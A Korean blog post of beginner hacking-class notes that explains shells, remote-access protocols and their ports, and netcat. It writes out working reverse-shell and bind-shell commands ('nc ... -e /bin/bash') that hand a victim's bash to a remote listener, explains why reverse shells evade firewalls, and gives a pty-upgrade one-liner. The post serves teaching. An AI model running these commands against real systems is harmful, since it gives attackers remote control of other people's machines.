본문 바로가기
Hacking/Hacking Beginner Class (normaltic)

[해킹 비기너 클래스] 3주차 정리 (Shell, Shell 획득법)

by st-og 2023. 8. 8.

이번 3주 차에선

1. Shell이란 무엇인지

2. 상대방 Shell을 획득하는 방법

에 대해 알아보았다.

 


Shell 이란?

Shell이란 사용자와 커널 사이에서 명령어를 입력받아 해석 후 전달하는 역할을 한다.

 

쉽게 말하면 윈도우의 cmd, 리눅스의 터미널이라 말할 수 있다.

 

http://sunguru-infra.blogspot.com/2019/03/bash-1-shell-programming.html

 

이러한 Shell 중에는 Remote Shell이라는 게 있는데 이번 주차에서는 Remote Shell에 대해 집중적으로 알아보고 사용해 보았다.

 

 

Remote Shell 이란?

Remote Shell이란 다른 컴퓨터에서 다른 사용자로 셸 명령을 실행할 수 있는 쉽게 말하면 원격 쉘이라 말할 수 있다.

 

Remote Shell에는  telnet, ssh, RDP 등이 있다.

 

Telnet

상대방의 컴퓨터에 원격으로 접속을 하기 위해 사용되는 프로토콜이다.

 

Well-Known Port : 23

 

* 현재는 보안 문제 때문에 잘 사용되지 않는다.

 

SSH (Secure Shell)

여러 암호화 기능을 추가한 원격 접속 프로토콜이다.

 

Well-Known Port : 22

 

* 대부분의 원격 접속은 SSH를 사용하여 진행된다.

 

RDP (Remote Desktop Protocol)

다른 데스크톱에 원격으로 접속을 하기 위해 사용되는 프로토콜이다.

 

Well-Known Port : 3389

 

Well-Known Port란?
잘 알려진 포트란 뜻으로 특정한 쓰임새를 위해 할당된 기본 포트를 뜻한다. 0~1023번까지의 범위를 가지고 있다.

 


 

리눅스 환경에서 상대방 컴퓨터와 네트워크 연결을 할 때 사용할 수 있는 명령어로는 nc가 있다.

nc를 사용하기 위해선 서버 역할을 하는 컴퓨터와 클라이언트 역할을 하는 컴퓨터가 있어줘야 하는데

 

서버 역할을 할 컴퓨터에선

nc -nlvp [포트번호] [옵션]

 

클라이언트 역할을 할 컴퓨터에선

nc [접속할 ip 주소] [포트번호] [옵션]

을 입력하면 사용이 가능하다

 

해당 명령어를 통해 상대방 컴퓨터의 Shell을 획득하는 것이 가능한데

1. 내 pc가 서버 역할을 해 서버를 열어둔 다음 상대 pc가 내 서버에 접속할 때 자신의 쉘을 가져와 실행하게 하면 된다

2. 상대 pc가 서버 역할을 할때 자신의 쉘을 사용할 수 있게 열어둔 다음 내 pc가 접속을 하면 된다.

 

1번 방법 (Reverse Shell)

1번의 방법을 우리는 Reverse Shell이라 부른다.

 

내 PC

nc -nlvp 7777

 

상대 PC

nc [내pc 아이피] 7777 -e /bin/bash

 

  • -e 옵션은 네트워크 연결 후 사용할 프로그램에 연결시켜주는 옵션이다.
  • /bin/bash는 bash쉘을 의미한다.

 

내 PC의 서버에 상대 PC가 접속을 하게 된다면 내 PC에서 상대방의 bash 쉘을 사용할 수 있게 된다.

 

2번 방법 (Bind Shell)

2번의 방법은 Bind Shell이라 부른다.

 

내 PC

nc [접속할 IP 주소] 7777

 

상대 PC

nc -nlvp 7777 -e /bin/bash

 

내 PC가 상대 PC의 서버에 접속하게 되면 bash쉘을 사용할 수 있게 된다.

 

대부분의 공격은 1번 Reverse Shell로 진행이 된다
왜냐하면 방화벽 정책에 의해 외부에서 내부로 들어오는 불필요한 요청은 모두 차단이 되지만 
내부에서 외부로 나가는 것에 대해서는 허용된 경우가 많기 때문이다.

 


상대방의 쉘을 사용할 때에 해당 명령어를 입력하면 훨씬 자연스러운 쉘을 사용 가능하다

python -c "import pty;pty.spawn('/bin/bash')"